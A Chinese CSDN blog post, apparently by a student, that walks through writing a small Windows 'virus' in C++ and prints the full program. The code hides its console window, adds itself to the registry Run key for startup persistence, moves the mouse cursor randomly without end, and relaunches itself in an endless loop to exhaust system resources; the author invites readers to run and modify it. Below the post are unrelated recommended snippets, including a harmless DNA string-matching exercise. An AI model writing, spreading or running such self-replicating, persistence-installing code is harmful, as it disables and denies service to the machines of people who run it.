C++小病毒(VS版)

目录

1.前言

2.教程

2.1.宏、头文件与命名空间

2.2.隐藏控制台

2.3.推卸责任

2.4.开机启动

2.5.开线程

2.6.抢内存

2.7.完整代码

3.总结


 

1.前言

 Hello!我来了!相信很多人都认识他吧——YR_T

他曾写了两篇文章:

c++做病毒|教程&&代码

用c++撸一个小病毒

这两篇文章的想法都是我给的哟!由于我是住校生,一直还没做这个程序,我就让他做了。趁这个清明,我就抽空做出来了。

2.教程

2.1.宏、头文件与命名空间

#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream>              //输入输出
#include<string>                //字符串处理
#include<Windows.h>             //Windows系统
#include<thread>                //线程
#include<tchar.h>               //_T()等
using namespace std;            //为了方便

2.2.隐藏控制台

这样你就少个关闭程序的途径了!

HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
hWnd = FindWindow(L"ConsoleWindowClass", NULL);
if (hWnd)
{
    ShowWindow(hWnd, SW_HIDE);
}

2.3.推卸责任

为了不让某些人找我麻烦,还是要写一句啦!

if (MessageBox(0, L"本程序是病毒,是否打开?如打开,后果自负!", L"WARNING", MB_YESNO | MB_ICONWARNING) == 6)
{
    //
}

 

2.4.开机启动

再设个开机启动,你的电脑就……(该部分较复杂,不用完全看懂,知道是修改注册表就是了)

HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)  
{
    TCHAR strExeFullDir[MAX_PATH];
    GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
    TCHAR strDir[MAX_PATH] = {};
    DWORD nLength = MAX_PATH;
    long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
    if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
    {
        RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
        RegCloseKey(hKey);
    }
}

2.5.开线程

写一个乱移鼠标的线程函数

int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}

主函数写上一段

HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);

2.6.抢内存

这个可以直接在主函数里写

while (1)
{
    char s[100] = "start ";
    system(strcat(s, argv[0]));
    Sleep(1000);
}

2.7.完整代码

#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<thread>
#include<tchar.h>
using namespace std;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
    srand(time(0));
    while (1)
    {
        SetCursorPos(rand() % x, rand() % y);
    }
    return 0L;
}
int main(int argc, char** argv)
{
    HWND hWnd = GetConsoleWindow();
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
    hWnd = FindWindow(L"ConsoleWindowClass", NULL);
    if (hWnd)
    {
        ShowWindow(hWnd, SW_HIDE);
    }
    if (MessageBox(0, L"本程序是病毒,是否打开?如打开,后果自负!", L"WARNING", MB_YESNO | MB_ICONWARNING) == 6)
    {
        HKEY hKey;
        if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)  
        {
            TCHAR strExeFullDir[MAX_PATH];
            GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
            TCHAR strDir[MAX_PATH] = {};
            DWORD nLength = MAX_PATH;
            long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
            if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
            {
                RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
                RegCloseKey(hKey);
            }
        }
        HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
        CloseHandle(hThread);
        while (1)
        {
            char s[100] = "start ";
            system(strcat(s, argv[0]));
        }
    }
    return 0;
}

3.总结

这个程序比较简单,只有53行,也不算难,但我不敢执行,有虚拟机的朋友可以试试,因为我不敢确定重启后是否能成功启动。如果你感兴趣,可以简单改一下,私信我。

我来CSDN至少半年了,这是我的第31篇文章,这个号是三年前注册的,我是1月下旬开始发布文章的。我虽然在这个社区只是小小的一份,也没有多少粉丝,排名也很一般,但我其实蛮开心的。我认识了一些人,可以做一些交流,说一说自己的一些想法。谢谢大家!

 

  • 10
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论
修改系统文件 modifyfile.vcproj 这是使用“应用程序向导”生成的 VC++ 项目的主项 目文件。它包含有关生成文件的 Visual C++ 本的 信息,以及有关用“应用程序向导”所选择的平台、 配置和项目功能的信息。 modifyfile.h 这是应用程序的主头文件。它包含其他项目特定的头 文件(包括 Resource.h),并声明CmodifyfileApp 应用程序类。 modifyfile.cpp 这是包含应用程序类 CmodifyfileApp 的主应用程序 源文件。 modifyfile.rc 这是程序使用的所有 Microsoft Windows 资源的列 表。它包含存储在RES子目录中的图标、位图和光标。 可直接在 Microsoft Visual C++ 中编辑此文件。项 目资源包含在 2052 中。 res\modifyfile.ico 这是一个图标文件,用作应用程序的图标。此图标包 含在主资源文件 modifyfile.rc 中。 res\modifyfile.rc2 此文件包含不由 Microsoft Visual C++ 编辑的资源。 应将所有不能由资源编辑器编辑的资源放在此文件中。 //////////////////////////////////////////////////// 应用程序向导将创建一个对话框类: modifyfileDlg.h、modifyfileDlg.cpp - 对话框 这些文件包含 CmodifyfileDlg 类。此类定义应用程 序主对话框的行为。此对话框的模板包含在 modifyfile.rc 中,而此文件可以在 Microsoft Visual C++ 中进行编辑。 //////////////////////////////////////////////////// 其他功能: ActiveX 控件 应用程序支持使用 ActiveX 控件。 打印支持和打印预览支持 应用程序向导已生成了一些代码,通过从 MFC 库调用 CView 类中的成员函数来处理打印、 打印设置和打印 预览命令。 //////////////////////////////////////////////////// 其他标准文件: StdAfx.h、StdAfx.cpp 这些文件用于生成名为 modifyfile.pch 的预编译头 文件 (PCH)和名为 StdAfx.obj 的预编译类型文件。 Resource.h
数据结构C++病毒检测的实现可以参考以下步骤: 1. 创建一个保存待测任务的文本文件,文件格式和内容如下: ``` num task1 task2 ... task_num ``` 其中,num表示待检测的任务数量,task1到task_num表示具体的任务。 2. 读取文本文件中的任务数量和任务内容,并将其存储在合适的数据结构中,例如数组或链表。 3. 对于每个任务,进行病毒检测的操作。可以使用字符串匹配算法,如KMP算法,来判断任务中的DNA序列是否包含病毒的DNA序列。 4. 如果任务中的DNA序列包含病毒的DNA序列,则输出"感染";否则,输出"未感染"。 以下是一个示例代码,演示了如何实现数据结构C++病毒检测: ```cpp #include <iostream> #include <fstream> #include <string> using namespace std; bool isInfected(string dnaSequence, string virusSequence) { int n = dnaSequence.length(); int m = virusSequence.length(); for (int i = 0; i < n; i++) { bool match = true; for (int j = 0; j < m; j++) { if (dnaSequence[(i + j) % n] != virusSequence[j]) { match = false; break; } } if (match) { return true; } } return false; } int main() { ifstream inputFile("tasks.txt"); if (!inputFile) { cout << "Failed to open file." << endl; return 0; } int num; inputFile >> num; for (int i = 0; i < num; i++) { string task; inputFile >> task; if (isInfected(task, "baa")) { cout << "感染" << endl; } else { cout << "未感染" << endl; } } inputFile.close(); return 0; } ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H.Y_C ⁹⁹⁹⁹⁹⁹⁺

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值